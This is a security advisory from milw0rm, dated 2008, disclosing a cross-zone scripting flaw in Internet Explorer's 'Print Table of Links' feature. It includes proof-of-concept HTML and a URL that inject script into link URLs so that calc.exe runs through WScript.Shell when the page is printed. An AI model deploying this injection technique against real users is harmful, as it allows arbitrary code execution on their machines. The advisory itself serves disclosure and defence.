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Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability

Author: Aviv Raff 
http://aviv.raffon.net/

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in 
its â€œPrint Table of Linksâ€ feature. This feature allows users to add to 
a printed web page an appendix which contains a table of all the links 
in that webpage. 

An attacker can easily add a specially crafted link to a webpage (e.g. 
at his own website, comments in blogs, social networks, Wikipedia, 
etc.), so whenever a user will print this webpage with this feature 
enabled, the attacker will be able to run arbitrary code on the userâ€™s 
machine (i.e. in order to take control over the machine). 

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.
Windows Vista with UAC enabled is partially affected (Information Leakage only).
Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource 
script which generates an new HTML to be printed. This HTML consists of 
the following elements: Header, webpage body, Footer, and if enabled, 
also the table of links in the webpage. 

While the script takes only the text within the linkâ€™s inner data, it 
does not validate the URL of links, and add it to the HTML as it is. 
This allows to inject a script that will be executed when the new HTML 
will be generated. 

As I said in a previous post, most of the local resources in Internet 
Explorer are now running in Internet Zone. Unfortunately, the printing 
local resource script is running in Local Machine Zone, which means that 
any injected script can execute arbitrary code on the userâ€™s machine. 

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

http://www.google.com/?q=<script defer>new ActiveXObject(â€œWscript.Shellâ€).run(â€œcalcâ€)</script>
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<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

# milw0rm.com [2008-05-14]
